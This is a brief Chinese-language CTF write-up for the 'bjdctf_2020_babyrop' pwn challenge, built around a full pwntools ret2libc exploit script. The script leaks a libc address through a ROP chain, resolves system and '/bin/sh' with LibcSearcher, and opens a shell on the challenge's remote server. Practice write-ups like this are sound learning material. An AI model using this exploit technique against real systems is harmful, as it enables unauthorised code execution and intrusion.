image.png
    64位栈不可执行 (babyrop的题目有点多,我前面还checksec错了)
    image.png
    和上题一样的漏洞只不过是64位环境下的漏洞
    所以要ropgadget一下

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io = process("./bjdctf_2020_babyrop")
    5. io = remote("node4.buuoj.cn",29121)
    6. #context.arch = "amd64"
    7. elf = ELF('./bjdctf_2020_babyrop')
    8. offest = 0x20
    9. rdi_ret_addr = 0x400733
    10. rsi_ret_addr = 0x400731
    11. puts_plt = elf.plt['puts']
    12. read_got = elf.got['read']
    13. main_addr = elf.sym['main']
    14. payload = b'a'*(offest+8)+p64(rdi_ret_addr)+p64(read_got)+p64(puts_plt)+p64(main_addr)
    15. io.recvuntil('Pull up your sword and tell me u story!')
    16. io.sendline(payload)
    17. io.recv()
    18. read_addr=u64(io.recv(6).ljust(8,b'\0'))
    19. log.success('read==>'+hex(read_addr))
    20. libc=LibcSearcher('read',read_addr)
    21. libc_base = read_addr-libc.dump('read')
    22. system_addr = libc_base+libc.dump('system')
    23. sh_addr = libc_base+libc.dump("str_bin_sh")
    24. payload1= b'a'*(offest+8)+p64(rdi_ret_addr)+p64(sh_addr)+p64(system_addr)+b'deadbeef'
    25. io.sendline(payload1)
    26. io.interactive()

    ljust(8,b’\0’)对齐用的。以前很多都会这样写ljust(8,’\x00’) 以前的python能这样写,python3是不能这样写的。
    其实也没什么格式题